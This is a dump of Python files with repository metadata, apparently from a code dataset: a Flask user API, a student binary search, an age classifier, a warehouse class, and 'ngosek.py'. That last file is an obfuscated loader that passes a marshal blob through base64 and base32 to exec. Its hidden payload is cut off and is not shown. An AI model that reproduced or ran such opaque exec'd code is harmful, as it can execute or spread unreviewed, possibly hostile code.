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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f18b87a61c23f3c882b21115883808649eb01aa8 | 3cf7b77f07ac55e83244810828ab5145e25dd98b | /back-end/app/api/users.py | ed43d2245209dcc71e7b3ddb5f49896bb9590fae | [] | no_license | ELPRNRN/flask-vuejs-project | f70895ab2f6f0494fe5bcd33cfaeb948ed570aac | 81454c51a991a8ef5ae4dfc8fd8941c4a74435d0 | refs/heads/main | 2023-07-14T14:46:06.357971 | 2021-08-24T08:03:04 | 2021-08-24T08:03:04 | 391,861,961 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,726 | py | import re
from flask import json, request, jsonify, url_for
from app import db
from app.api import bp
from app.api.errors import bad_request
from app.models import User
from app.api.auth import token_auth
@bp.route('/users', methods=['POST'])
def create_user():
'''注册一个新用户'''
data = request.get_json()
if not data:
return bad_request('You must post JSON data.')
message = {}
if 'username' not in data or not data.get('username', None):
message['username'] = '请提供一个有效的用户名！'
if 'password' not in data or not data.get('password', None):
message['password'] = '请提供一个有效的密码！'
if 'department' not in data or not data.get('department',None):
message['department'] = '请选择你的部门！'
if User.query.filter_by(username=data.get('username', None)).first():
message['username'] = '请使用不同的用户名！'
if message:
return bad_request(message)
user = User()
user.from_dict(data, new_user=True)
db.session.add(user)
db.session.commit()
response = jsonify(user.to_dict())
response.status_code = 201
# HTTP协议要求201响应包含一个值为新资源URL的Location头部
response.headers['Location'] = url_for('api.get_user', id=user.id)
return response
@bp.route('/users', methods=['GET'])
@token_auth.login_required
def get_users():
'''返回用户集合，分页'''
page = request.args.get('page', 1, type=int)
per_page = min(request.args.get('per_page', 10, type=int), 100)
data = User.to_collection_dict(User.query, page, per_page, 'api.get_users')
return jsonify(data)
@bp.route('/users/<int:id>', methods=['GET'])
@token_auth.login_required
def get_user(id):
'''返回一个用户'''
return jsonify(User.query.get_or_404(id).to_dict())
@bp.route('/users/<int:id>', methods=['PUT'])
@token_auth.login_required
def update_user(id):
'''修改一个用户'''
user = User.query.get_or_404(id)
data = request.get_json()
if not data:
return bad_request('You must post JSON data.')
message = {}
if 'username' in data and not data.get('username', None):
message['username'] = '请提供有效的用户名！'
if 'department' in data and not data.get('department',None):
message['department'] = '请提供有效的部门！'
if 'username' in data and data['username'] != user.username and \
User.query.filter_by(username=data['username']).first():
message['username'] = '请使用不同的用户名！'
if message:
return bad_request(message)
user.from_dict(data, new_user=False)
db.session.commit()
return jsonify(user.to_dict())
@bp.route('/modifypassword/<int:id>', methods=['PUT'])
@token_auth.login_required
def modify_password(id):
'''修改用户密码'''
user = User.query.get_or_404(id)
data = request.get_json()
if not data:
return bad_request('You must post JSON data.')
message = {}
if 'oldpassword' in data and not data.get('oldpassword', None):
message['oldpassword'] = '请输入原密码！'
if 'newpassword' in data and not data.get('newpassword',None):
message['newpassword'] = '请输入新密码！'
if 'oldpassword' in data and not user.check_password(data['oldpassword']):
message['wrongpassword'] = '原密码错误！'
if message:
return bad_request(message)
user.set_password(data['newpassword'])
db.session.commit()
return jsonify(user.to_dict())
@bp.route('/users/<int:id>', methods=['DELETE'])
@token_auth.login_required
def delete_user(id):
'''删除一个用户'''
pass | [
"877237843@qq.com"
] | 877237843@qq.com |
729abfa1e3f7ced74382ac6c49bbbb8b7bcbade5 | 25228fd85c78b3b232bdfce9f1df63973f4b9553 | /ADS/binary_search_iterative.py | f4c27867d45f8d4fe3643b75a7138dd949789c83 | [] | no_license | M-Aladin/bioinf_bologna_master | 603836336d67e2a136ce1f22c3b1cd85e45e022c | b977c2870c4e2606d6a180938c8dbeac392951e0 | refs/heads/master | 2020-12-10T00:23:05.160698 | 2019-06-30T14:50:20 | 2019-06-30T14:50:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 828 | py | def binary_search(A, v):
# initialize indices
p = 0
r = len(A)
while len(A[p:r]) > 1:
q = (p+r)//2 # find midpoint
# update right limit of search (r) if midpoint is greater than query
if A[q] > v:
r = q
# update left limit of search (p) if midpoint is lesser than query
elif A[q] < v:
p = q
# return current midpoint index if it's equal to query
elif A[q] == v:
return q
# if we are out of the cycle, we have an array of length one.
# either it's the element we're looking for, or it's not present in the array
if A[p:r] == v:
return p
else:
return None
if __name__ == "__main__":
dummy = [1, 2, 3, 4, 5, 6, 8]
query = 7
res = binary_search(dummy, query)
print(res)
| [
"mariasilvia.morlino@studio.unibo.it"
] | mariasilvia.morlino@studio.unibo.it |
4aaad55843e277a02646a91c6816ac641bb76a96 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_171/ch4_2019_04_03_14_50_06_906813.py | 13c4f9117194d74ac4dc2b5209ab49e9cc9ef2fc | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 204 | py | def classifica_idade (x):
if x<=11:
print('crianca')
return x
elif x>11 and x<=17:
print('adolescente')
return x
else:
print('adulto')
return x
| [
"you@example.com"
] | you@example.com |
995a30cae3b6f9f2e6070bcbd6af0c64dc94c210 | d180358de36aa48ce950cee4eb719c0c4d9b70c4 | /linglingupdate.py | 92e71c7b0806dea11b5bf3b13e5ed9bcdc0bfb66 | [] | no_license | Patteera/NYLL-s-Warehouse | c822bcd380dc3f907ba48a2963c15834c83f9fb8 | 84f424185c793b840b2e670b9c0db772d3cfb244 | refs/heads/master | 2020-03-28T07:32:22.785784 | 2018-09-18T16:05:06 | 2018-09-18T16:05:06 | 147,908,248 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,637 | py | class warehouse :
def __init__(self):
self.wh1row = []
self.wh2row = []
self.wh3row = []
self.wh4row = []
self.wh5row = []
self.Product_Type = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y' ]
def wh1(self,row,slot):
print "wh1 row1-5: "
for i in range(row):
self.wh1row.append([])
for j in range(slot):
self.wh1row[i].append([])
for k in self.wh1row:
print k
def wh2(self,row,slot):
print "wh2 row1-5: "
for i in range(row):
self.wh2row.append([])
for j in range(slot):
self.wh2row[i].append([])
for k in self.wh1row:
print k
def wh3(self,row,slot):
print "wh3 row1-5: "
for i in range(row):
self.wh3row.append([])
for j in range(slot):
self.wh3row[i].append([])
for k in self.wh1row:
print k
def wh4(self,row,slot):
print "wh4 row1-7: "
for i in range(row):
self.wh4row.append([])
for j in range(slot):
self.wh4row[i].append([])
for k in self.wh1row:
print k
def wh5(self,row,slot):
print "wh5 row1-20: "
for i in range(row):
self.wh5row.append([])
for j in range(slot):
self.wh5row[i].append([])
for k in self.wh1row:
print k
a = warehouse()
a.wh1(5,100)
a.wh2(5,100)
a.wh3(5,100)
a.wh4(7,25)
a.wh5(20,400)
| [
"noreply@github.com"
] | noreply@github.com |
4909792747b867d8ead48398c4b759380cb2a20f | 252fb21a282af287ea30c1da3f1502393ce9cea6 | /ngosek.py | c82f9765d808f4a8c9027db406770e401977bee6 | [] | no_license | ZAKI-ZK/ngosek | fc77d78f46c0137ce04531f0e18a09a637e487d3 | a2ff28c90be4026b05db2d1b8c413ea82b421e37 | refs/heads/main | 2023-02-23T14:36:15.560604 | 2021-01-24T10:14:09 | 2021-01-24T10:14:09 | 332,416,918 | 0 | 3 | null | null | null | null | UTF-8 | Python | false | false | 413,478 | py | #Recode Bawng#
#kreasikan Sendiri Ea#
import marshal
exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00s!\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00e\x00\x00j\x01\x00d\x02\x00\x83\x01\x00d\x01\x00\x04Ud\x01\x00S(\x03\x00\x00\x00i\xff\xff\xff\xffNt4M\x06\x00I1JlY29kZSBLYW5nPyBNb25nZ28jCmltcG9ydCBiYXNlNjQKZXhlYyhiYXNlNjQuYjMyZGVjb2RlKCdFTldXQzQzSk5BUUZBMkxPTTVVVzRJQ0JOSlFTQVUzREVCQkhLNFRKTk1RRU8yTE9ORVFFWTVKREJKVVcyNERQT0oyQ0FZVEJPTlNUTU5BS01WNEdLWVpJTUpRWEdaSldHUVhHRU5SVU1SU1dHMzNFTVVVQ09TSlFPUjNHRTNTU09aUkVHUVNNTEZMWFE0REJLTkJFMlpDVEpWRldDVlpSTzVSREdTUlFKRkRUQzJERE5aSEc2V0tYTzVGVlVXRElOUk1YUzJEVUxGTUVVNlRCSTVESEdURE5QQjNGU1YyU1BKRlVHWkRLTEJFR081Mk5JWjRESVRLRUlKUldLUkNCTzVNRVFaM1hKVkRIUU5DTklSQkdHWktFSUYzVlFTREhPNUdVTTZCVUpWQ0VFWTNGSVJBWFVXQ0lNNTNVMlJUWUdSR1VJUVRETVZDRUM1MlJJWjRESVRLRUlKUldLUkNCTzVNRVFaM1hKVkVFMjJDWUpCVFhPVEtHUEEyRTJSQ0NNTlNVSVFMWExKREhRTkNOSVJCR0daS0VJRjNWVVJUWUdSR1VJUlRETVZDRUM1M0NJWjRESVRLRUlKUldLUkNCTzVMV1k2QlVKVkNFRVkzRklSQVhPV1NXUEEyRTJSQ0NNTlNVSVFMWE1GV0hRTkNOSVJER0daS0VJRjNWVVJUWUdSR1VJU1RETVZDRUM1MllKQlRUSVRKUlBBMkUyUkNHTU5TVUlRTFhMSkRIUU5DTklSREdHWktFSUYzVlFTREhPNUhFTVZUTExCRUdPNTJOS1o0RElUS0VJSktFV1JUWUdSR1VJVFRETVZDRUM1MllKQlRYT1RLR1BBMkUyUkNDT0JNRVEyRE5MSldIUU5DMk5WTkdHWktITEpXVlFTRElOVk5HV05MMkxCRUdRM0NQSVJKR0daS0VJRjRWUVNESE81R1VLVlNQS0ZMR1FRU1hLVllFRVUzTUpKTVZLTUNHS1JHVENRU1BLNVZFVVNDT05KSEVHVVNGSkpGRkUyM0VLUkdUQTZDU0tSVkZNWUtUSVZXRVVVU0ZKWkhGRTNEUUxCSlRBTktUS1pLVVVTMlZHRlVGRVYzTFBCQ1ZFMjJLS05KREFUSlFKVVlGVVNDWEtSRkVJVFNHTlJKVksyM0VNRktUQVpDTUs1S0U0VUtVS1pGRklWSlJJWkZWTzNERUpGSkZJVFNHS05LVEtZS1ZLVlNHQ1VTRktKSUZJVlNLTEZKRENSVEJLSkNVTVQyVkdCTEVRVjJXTlJLVklNQlJLTkxVS1pDT0pVWUZFVVNVTlJGRkdVUlJPQkJWTVJLR0tKSldZWkNJS1pLRTRWS1ZLVTJWR1ZUTE1STkZPM0NTSVpLREFTU1lLTkxFSzZTU0lWSEU2VjNNSlpFRTRSVFFLVktGS09LREtZWUdJUlNOR0JMRVFWQ1dKWkRWRU1MUUlOTEVLTUtUS1ZXR0lTQ1NLUkhFS1UyVkdWUVZNUkxFSkpIRUtVU0dLUldIQVdDU0dBWUhTVlNWTVJIVk8zRE1KQktGTTNDRktJWURDUTJXTk5XRTRUSlJLSkpGSVZUUUtKSkRBTUsyS0pDWElVU1hOUlVFU1VLV09CS1ZDVkpSTUZLVktaQ1hLRldGRVVDVUdCRkZLVVJRSVpRVk1SS0dKNUpUQVVTSUpaQ0ZFUktTR0FZVUdWU0ZNUkJFMjNDV0pCS0dZNEMyS0lZRENXU1NJVlNFNFVMTUxKRkZJVkNPS1ZLVktNTEJLVktXSVRTWEtWSkVZVktXT0JNVkdSS0dNRkxFS1JTT0s1V0VNU0NXTk5GRktWQlFIRkJWTVJMRUlKTFdZVVNRS1JWWElSS1NQSklUQVVTRk1SSEZDM0NTSkJJVklTU1dLSVlES1lLWEtWU0U0VjJWS0pFRklWS0tLNUpWS01EMktaREVNVFNYTlJERVFWQ1dOUkNWR1ZKUklOTEdXM0NPSlVZVkVVU1VLWllGRVVSUUdGTkZFUkxVS0pMV1kyQ0pLRkxIQVZLUktVWVdDVktWTVJMVkMzQ1NLQktEQVNTVktJWUVNWUtXSVZERTZWM01LSkVGTTIyS0tWS0RBT0tES1pDV1FSU1hOUkpFUVZETE9SQ1ZFNlNSR0JKRUtaQ09LRldGRVNDVUtSRkZNVVJRR1ZRVk9WTEVKWkxWS1VTSUtSS1VVVjJUS1VZSFVWU0dJWkhGTzNDR0pCS0ZNM0NGS1JLVEtRMldOTldFNFRKUktKSkZJVlRRS0pKREFNSzJLSkNYSVVTWE5SVUVTVUtXT0JLVkNWSlJNRktWS1pDMkpWVlZFVENWS1pZRlNVMkZJWlFWTVJLR0paTFdZU1NJS1pWVVVWS1VHQTRVR1ZTRk1SQkZPM0NTSUpLR1lUU0ZLSVlWVVEyV0lVNFZBVUxNS0pFRkNWVFFLVklWS05LTUtKQ1dHTUNPSVZKRVFWQ1ZKSktWRU1DRlBGTEZLVFNQS01ZRkVTQ09JUkpFS1VSUUdGQlZNUkxFSUpHV1lWU0lLUldIQVdTU0dBWVZVVVNGTVJIRkMzREVKQktWSVNTV0tJWURLWUtYS1ZTRTRWMlZLSkVGSVZLS0s1SlZLTUQyS1pERU1UU1hOUkRFUVZDV05SQ1ZJVkpWSU5MR1czQ09KVVlWRVVTVUtaWUZFVVJRR0ZORk1STFVLSkxXWTJDSktGTEhBVktSS1VZV0NWS1ZNUlFWQzNDU0pSS1ZNNENaS05DVU1ZS1dJVkRFNFYzTUpKRUZNMjJLS1ZLREFPS0RLWkNXSVFTWE5SSkVFVkRMT1JCVkVNSzJJTkxFS09LUUtGV0ZFU0NSS1pZRktVSlFHVkdGRVJMREdCSEVLVVNJS1JLVVVWS1NHQkNYVVVTRk5SSFZHTUNTSkJIRUlVU0ZLSVlEQ1EyV0lWU0VFVExNS1pFRkkzRFFMSkpEQU1LMktKQ1dJVFNSTlJTRVFWS1VKSkxGRU1CVk1GTFZLWkNPSzVLVkVTQ1VLVllGT1UyVkdCNUZNUlNHSlpMV1lSU0lLUkxHWVJLVUtaREdDVlRMTlJIRTJNS1NLSktGTTRDU0tJWURDWUtTSVYyRkVWM01OQkVWQ1ZUUUtWSVZLTUxCS1ZLV0lWMlJLWkpFWVZLV09CTVZHUktHTUZMRUtSU09LNVdFNFNDV05ORkZLVkJRSEZCVk1STEVJSkxXWVVTQ0tSV0VVVlNTR0ZORUdWU0ZIRklGQzNDU0pCSVZNNENWS0ZLVEtUQ1NJVlJUQVRTRktKRUZJVktLS1ZKREFSTDJLSkNXWVQyVEdCSkVRVFNFS0pDVkVNQlJJTkxFS1pDR0pWV0ZNU0NVTlJZRlVVUlFHRk5GRVJMRUpaSVdZWkNLS1JLRVVWU1NHQTJXQ1YyVk1SSEZPVktTSkJLRk00Q1hLTktUQTZTV0laREU0VjNNSVpFRklWVE1JVkpUQ1JTTEtaVldZVFNOR0ZKRkVWQ1dPQkpGRU1CUk1GTEVLNUNTSzVXR1FTS1JLWllGS1VLVkdGUVZLVkxFTEpHV1dVU01LVkxIQVdLVElWREdDVlNGSVpIRk8zQ0dKQkxHV1NTVktRWURTUTJXSVZTRUVWM01LSkJGSTNDS0taSkRDV1NES1pDVFNVQ1JOUkpFUVVLV09CS1ZDTUJWSlJKRUtZWlFKWkNWRVNDVUtWRkZLVVJRSVY1RkVWTEVKNUpUQVVTSUpaQ0ZFUktTR0FZVUdWU0ZNUkpFMjNDV0pCS0dZNEMyS0lZRENXU1NJVlNFNFVMTUxKRkZFVkNLS1pKREFOTEJLNUtXSVRTWEtWSkVRVkRMSkpMVkdWSlFQSkxFTVJTT0s1V0VNU0NVS1pXRUtWQ1ZHVkJWTTIzTUpaR1RDVVNTS1JMSEFVU1NHQVlWVVVTRk9SSkZPM0RJSkZJVk00Q1ZLRktUQ1lLVktWU0ZVVExMS0pHRktWVFFMRkpVS1JUQktaQ1VNVFNYTlJGRVFWVExKSktWSU1CWklOTEVLWkNDSzVXRkVRU1VOUkhFS1VSUkxKQlZNUkpaS0JJV1lVU0lLRkxIQVZLVEdBMlVZVVNGTU1ZRTRSS1NKQktGS1NTVktJWUVLNktXS1ZIRTZVWlFLSkVFNFJDU0lWSkRBTUtES1pDV0lWU05OUkxFUVZETU9CTkZFTUJSTEpKRUtaQ09LRldHSVNDVktSRkZNVVJRR1ZRVk9WTEVKWkxWS1VTSUtSS1VVVjJUS1VZSFVWU0dJWkhGTzNDR0pCS0ZNM0NGS1JLVEtRMldOTldFNFRKUktKSkZJVlRRS0pKREFNSzJLWkNYSVVTWE5SVUVTVUtXT0JLVkNWSlJNRktWS1pEQktGV0ZFVENWS1pZRlNVMkZJWlFWTVJLR0paTFdZWkNJS1pWVVVWS1VHQTRVR1ZTRk1SQkZPM0NTSUpLR1c1Q0RLSVlWVVEyV0lVNFZBVUxNS0pFRkNWVFFLVktGS05LTUtKQ1dHTUNPSVZKRVFWQ1ZKSktWRU1DRlBKSkVLM0NQS01ZRkVTQ09JUkpFS1VSUUdGQlZNUkxFSUpHV1lWU0lLUldIQVdTU0dBWVZVVVNGTVJIRkMzREVKQktWSVNTV0tJWURLWUtYS1ZTRTRWMlZLSkVGSVZMUUs1SlZLTUQyS1pERU1UU1hOUkRFUVZDV05SQ1ZJVlNHTUZMR1czQ09KVVlWRVVTVUtaWUZFVVJRR0I1Rk1STFVLSkxXWTJDSktGTEhBVktSS1VZV0NWS1ZNUkxWQ1ZTU0pSS1ZNNENaS05DVU1ZS1dJVkRFNFYzTU5CRUZNMjJLS1ZLREFPS0RLWkNXSVFTWE5SSkVFVkRNSkpMRkVNSzJJTkxFS09LUUtGV0ZFU0NSS1pZRktVS1ZHVkdGRVJMREdCSEVLVVNJS1JLVVVWS1NHQkNYVVVTRk5SSFZHTUNTSkJIRUlVU0ZLSVlEQ1EyV0lWU0VNVExNS1pFRkkzRFFMSkpEQU1LMktKQ1dJVFNSTlJTRVVWQ1VKSkxGRU1CVk1GTFZLWkNPSzVLVkVTQ1VHQkZGT1UyVkdCNUZNUlNHSlpMV1lSU0lLUkxHWVJLVEdGREVXVlRMTlJIRTJNS1NLSktGTTRDU0tJWURBTUNTSVYyRkVWM01OQkVWQ1ZUUUtWSVZLTUxCS1ZLV0lXU05OTkpFWVZLV09CTVZHUktHTUZMRUtSU09LNVdFTVNDV05ORkZLVkJRSEZCVk1STEVJSkxXWVVTQ0tSV0VVVlNTR0ZORUdWU0ZIRklGQzNDU0pCSVZNNENWS0VZREtUQ1NJVlJUQVRTRktKRUZJVktLS1ZKREFSTDJLSktXSVQyVEdCSkVRVFNFSkpDVkdNS0dNRkxVSzJDQ0s1V0ZFUVNVS1pZRkVVUlJMSkJGTVJMVUtKTFdZMkNJS1ZLRVVWU1NHQTJXQ1YyVk1SSEZPVktTSkJLRktTU1lLSVlVSzZLV0tWU0U2VjNNTlJFRklWVE1JVkpEQU1LREtaVldZVFNOR0ZKRkVWQ1dPQkpGRU1CUkxKSkVLTUtQS0ZXRlVTU1VLUkhGS1ZLVkdGUVZLVkxFSlpMVk1VU01LVkxIQVdLVElWREdDVlNGSVpIRk8zQ0dKQkxXV1NTVktNWVVNWUtXR0JXRk1UTE1LWkVGSTNEUUxKSkRBTUsyS0pDV0lUU1JOUk5FVVVTVUpKTEZFTUJWS1JKR1daQ1hLRldGRVVDVUdCRkZLVVJRSVpRVk1SS0dKNUtXWVZTSUtaVlVVVktVR0E0VUdWU0ZNUkJGTzNDU0lKS0dXNUNGS0o1RkNNQ1NJVlNFNFVMTUtKRUZDVkNPSVZKVktOS01LSkNXR01DT0lWSkVRVkNWSkpLVkVNQ1ZQRkxGS1pDUEs1V0dZU0NVS1pXRUtVUlFHRkJWTU1ETUpaR1dZVlNJS1JXSEFXU1NHQVlWVVVTRkdGSEZLM0MySkpLRklUU1ZLVktUQ1lLVktWU0U0VjJWS0pHRktWTFFLNUpWS01EMktaREVNVFNYTlJERVFWMldPQkNWR01LR01GTFVLMkNDSzVXRkVRU1VLWllGRVVSUk5ONFZFUkxVS0pMV1kyQ0pLRkxIQVZLUktVWVdDVktWTVJMVkMzQ1NLQktEQVNTVktJWUVNWUtXSVZERTZWTE1LWkVGTTIyS0tWS0RBT0tES1pDV0lRU1hOUkpFSVZETE9SQ1ZFNlNSR0JKRUtaQ09LRldGRVNDUktSSEVNVVJRR1ZHRkVSTERHQkhFS1VTSUtSS1VVV0NTR0FZSFNWU1ZNUkhWTzNETUpCS0ZNM0NGS0lZRENRMldOTldFTVRMTUtaRUZJM0RRTEpKREFNSzJLSkNUQ1RTWE5STkVVVkNVSlpLVktWSlJNRktWS1pDT0s1S1ZFVFNVTk5GRk9VMlZHQjVGTVJTR0paTFdZUlNJS1JMR1lSS1RHRkRHQ1YyRk5CQkZPM0NTSUpLRk00Q1NLSVlXVzZLU0lWMkZFVjNNTkJFVkNWVFFLVklWS01MQktWVldJVjJSTlJKRkFWQlFKSktWRU1DR01GTEVLUlNQS1VZRkVTQ1dOTkZGS1ZCUUdGSlZNMjNNSlpHVENVU1NLUkxIQVVTU0dBWVZVVVNGT1JKRkczQzJKSktGSVRTVktKS1RLVENTSVZSVEFUU0ZLSkVGSVZLS0tWSkRBUkwyS0pDV1lUMlRHQkpFUVRTRUtKQ1ZFTUJSSU5MRUtaQ0NKVldGTVNDVU5SWUZVVVJRR0ZORkVSTEVKWklXWVpDSUtWS0VVVlNTR0EyV0NWMlZNUkhGT1ZLU0pCS0ZNU1NYS05LVEE2U1dJWkRFNFYzTUlaRUZJVlRNSVZLRk1SVEJLWlZXWVRTTkdGSkZFVkNXT0JKRkVNTExQRkxFSzVDU0s1V0dRU0tSS1pZRktVS1ZHRlFWS1ZMRU1GSVRBVVNNS1ZMSEFXS1RJVkRHQ1ZTRklaSFZLM0RFSkJMR1dTU1ZLUVlEU1EyV0lWU0VFVjNNS0pCRkkyM1VJTkpEQ1dTREtaQ1RTVUNSTlJKRVFVS1VKWkNWSVZKVkpSSkVLWVpRSlpDVkVTQ1VLVkZGS1VSUUlWNFZNVkxFSjVMV1kzQ0lLUkxHWVJLU0dBWVVXVlJRTVJKRTIzQ1dKQktHWTRDMktJWURDV1NTSVZTRTRWM01MSkZGSVZDT0tWS1ZLTUxCS1ZLV0lUU1hLVkpFWVZLVk9CTFZHVkpRUEpMRU1SU09LNVdFVVNDVUtaV0VLVVpSSVpRVk9STElJSkxXWVVTQ0tSTEhBVVNTR0ZWWFNVU0ZPUkpGTzNESUpGSVZNNENWS0ZLVENZS1dLVlNGT1VMTUtKSUZJTUNLS1ZKREFSVEJLWkNVTVQyVEdCRkVRVlRMSkpLVklNQlpJTkxFS1pDR0s1V0ZFUkNVTk4yRUtVVDJLRVlGRVJMRUpaSVdZVVNJS0ZLRTRSS1RLVTJVWVVTRk1NWUU0UktTSkJLRktTU1ZLSVlWSzZLV0tWU0U2VjNNTlJFRklWVE1JVkpEQU1LREtaVldZUlNOTlJMRVFWRE1PQk5GRU1CUkxKTEVLWkNPS1ZXRlVTU1VLUkhGS1ZLVkdGUVZLVkxFSlpMVktVU09LUlZVVVYyVEtVWUhVVlNHSVpIRk8zQ0dKQktGSVRTRktNWVVNWUtYSVZVRUVWM01LSkJGSVZUUUtKSkRDV1NDS1pDWElVU1hOUlVFU1VLV09CS1ZDTUJSTUZMRUtaQ1hLRldGRVVDVUdCRkZLVVJRSVpRVk1SS0dKNUtXWVZTSUtaVlVVVktVR0E0VUdWU0ZNUkJGTzNDU0tCS0dXNUNGS0o1RkNNQ1NJVlNFNFVMTUtKRUZDVkNLS1pJVEFOS01LSkNXR01DT0lWSkVRVkNWT0JLVkVNS0ZQRkxGS1pDUEs1V0dZU0NVS1pXRUtVUlFHRkJWTU1ERUtKR1dZVlNJS1JXSEFXU1NHQVlWVVVTRk1SSUZDM0MySkpLRklUU1ZLVktUQ1lLVktWU0U0VjJWS0pHRktWTFFLNUpWS01EMktaREVNVFNYTlJGRVFWQ1VKSktWR01LR01GTFVLMkNDSzVXRkVRU1VLWllGRVVSUk5ONFZFUkxVS0pMV1kyQ0lLVktFVVZTU0dBMldDVjJWTVJIRk9WS1NKQktGS1NTWEtOS1ZLNktXS1ZTRTZWM01OUkVGSVZUTUtWSkRBTktUS1pWV1lUU05HRkpGRVZDV09CSkZFTUJSTEpKRUtNS1BLTldGVVNTVUtSSEZLVktWR0ZRVksyM0VKWkxWS1VTTUtWTEhBV0tUSVZER0NWU0ZJWkhGTzNDR0pCTFZJU1NWS01ZVU1ZS1hJVlVFRVYzTUtKQ0ZJVlRRS05KRENXU0RLWkNUU1VDUk5SSkVRVUtXT0JLVkNWSlZLTkxHV1pDWEtGV0ZFVUNVR0JGRktVUlFLWlFWTVJLV0o1SlRBVVNJSlpDRkVSS1NHQVlVR1ZTRk1SQkUyTUNTSlJLR1c1Q0ZLSjVGQ01DU0lWU0U0VTNNS0pFRklWQ0tLWkpEQU5MQks1S1dJVFNYS1ZKRVFWQ1ZKSk1GRU1LVlBGTEZLWkNQSzVXR1lTQ1VLWldGS1VSUUdWQlZNMjNNSlpHVENVU1NLUkxIQVVTU0dBWVZVVVNGR0ZIVkczQzJKSktGSVRTVktWS1RDWUtWTk5TRTRUTE1LSkdGS1ZUUUxGSlVLUlRCS1pDVU1UU1hOUkRFUVYyVUpKS1ZHTUtHTUZMVUsyQ0NLNVdGRVJDVUtaWUZRVVJSTEpCVk1SSlpLQklXWVVTSUtGTEhBVktSS1UyVkdWMkZNUkxWQzNDU0tCS0RBU1NWS0lZRU1ZS1dJVTRVNlVaUUtKRUU0UkNTSVZKREFNS0RLWkNXSVFTTk5STEVJVkRMT1JDVkU2U1JHQkpFS1pDT0tOV0ZFU0NPSVJGRk1VUlFHVlFWT1ZMRUpaTFZLVVNJS1JLVVVXQ1NHRktYU1ZTVk1SSFZPM0RNSkJLRk0zQ0ZLSVlES1UyV05OV0U0VEpSS0pKRklWVFFLSkpEQU1LMktKQ1RDVVNUTlJORVVWQ1VKWktWS1ZKUk1GS1dXWkNPSlpDVkVUQ1ZLWllGU1UyRklaUVZNUktHSlpMV1lSU0lLNUtFVVZLVEdGREdDVjJGTkJCRk8zQ1NJUktGTTRDWktJWVZVUTJXSVU0VkFVTE1LSkVGQ1ZUUUtWSVZLTktNS0pDV0dNQ09JVkpFUVZCUUpKS1ZFTUJRUEZMRktaQ1BLNVdHWVNDVUtaV0VLVVJRR0ZGVk0yM01KWkdUQ1VTU0tSTEhBVVNTR0FZVlVVU0ZPUkpGRzNDMkpKS0ZJVFNWS1ZLVENZS1ZOTlNFNFRTR0tKR0ZLVlRRTEZKVUtSVEJLWkNVTVRTWE5SREVRVjJVSkpLVkdNS0dNRkxVSzJDQ0s1V0ZFUVNVS1pZRlFVUlJMSkJWTVJKWktCSVdZVVNJS0ZMSEFWS1JLVTJWSVVMTE1STFZDM0NTS0JLREFTU1ZLSVlGTVlLV0laREU2VVpRS0pFRTRSQ1NJVkpEQU1LREtaQ1dJUVNOR0JKRVlWRExPUkNWRTZTUkdCSkVLWkNPS05XRkVTQ09JUkZGTVVSUUdWUVZPVkxFSlpMVktVU0lLUktVVVYyVEtVWUhVVlNHSVpIRk8zRE1KQktGTTRDVktNWVVNWUtYSVZVRUVWM01LSkJGSVZUUUtOSkRDV1NES1pDVFNVQ1JOUkpFUVVLV09CS1ZDVkpWSlJJV1daQ1hLRldGRVVDVUdCRkZLVVJRS1Y1RkVSS09KNUpUQVVTSUpaQ0ZFUktTR0FZVUdWU0ZNUkJFMk1LU0tSS0dXNUNGS0o1RkNNQ1NJVlNFNFUzTUtKRUZDVkNLS1pKREFOTEJLNUtXSVRTWEtWSkVRVkNWSkpNRkVNS0ZQRkxGS1pDUEs1V0dZU0NVS1pXRUtVUlFHRkJWTTIzTUpaR1RDVVNTS1JMSEFVU1NHQVlWVVVTRkdGSFZDM0MySkpLRklUU1ZLVktUQ1lLVktWU0U0VjJXS0pHRktWVFFMRkpVS1JUQktaQ1VNVFNYTlJERVFWM0xKSktWR01LR01GTFVLMkNDSzVXRkVRU1VLWllGS1VSUkxKQlZNUkpaS0JJV1lVU0lLRkxIQVZLUktVMlVZVUxMTVJMVkMzQ1NLQktEQVNTVktJWUVNWUtXSVZTRTZVWlFLSkVFNFJDU0lWSkRBTUtES1pDV0lRU05OUkpGQVZETUpaRFZFTUsySU5MRUtPS1FLRldGRVNDU0tSSEVLVVpRR1ZHRkVSTERHQkhFS1VTSUtSS1VVVktTR0JDWFNWU1ZNUkhWTzNETUpCS0ZNM0NGS0lZREtRMldHQlNGTVRMTUtaRUZJM0RRTEpKREFNSzJLWkNUQ1RTVk5STkVVVkNVSlpLVktWSlJNRktWS1pDT0s1S1ZFVFNWS1pGRk9VMlZHQjVGRVZMVUo1SlRBVVNJSlpDRkVSS1NHQVlVR1ZTRk1SQkUyTUtTSVpLR1dUU0VLSVlWVVEyV0lVNFZBVUxNS0pFRkNWVFFLVklUQU5LTUtKQ1dHTUNPSVZKRVFWQ1ZKSktWRU1DVlBGTEZLWkNQSzVXR1lTQ1VLWldFS1VSUUdGRlZNMjNNSlpHVENVU1NLUkxIQVVTU0dBWVZVVlNGR0ZIVkczQzJKSktGSVRTVktWS1RDWUtWS1ZTRTRWMlZLSkdGS1ZUUUxGSlVLUlRCS1pDVU1UU1hOUkRFUVYzTElaS1ZHTUtHTUZMVUsyQ0NLNVdGRVJDVU5SRkZLVVJSTEpCVk1SSlpLQklXWVVTSUtGTEhBVktSS1UyVkdWU1ZNUkxWQzNDU0paS1dXNENYS05LVEE2U1dJWkRFNFYzTUlaRUZJVlRNSVZKVENSVEJLNUNXUVFTWE5SSkZFVkNXT0JLVkVNSzJJTkxFS09LUUtGV0ZFU0NSS1pZRktVSlFHVkdGRVJMREdCSEVLVVNJS1JLVVVWS1NHQkNYU1ZT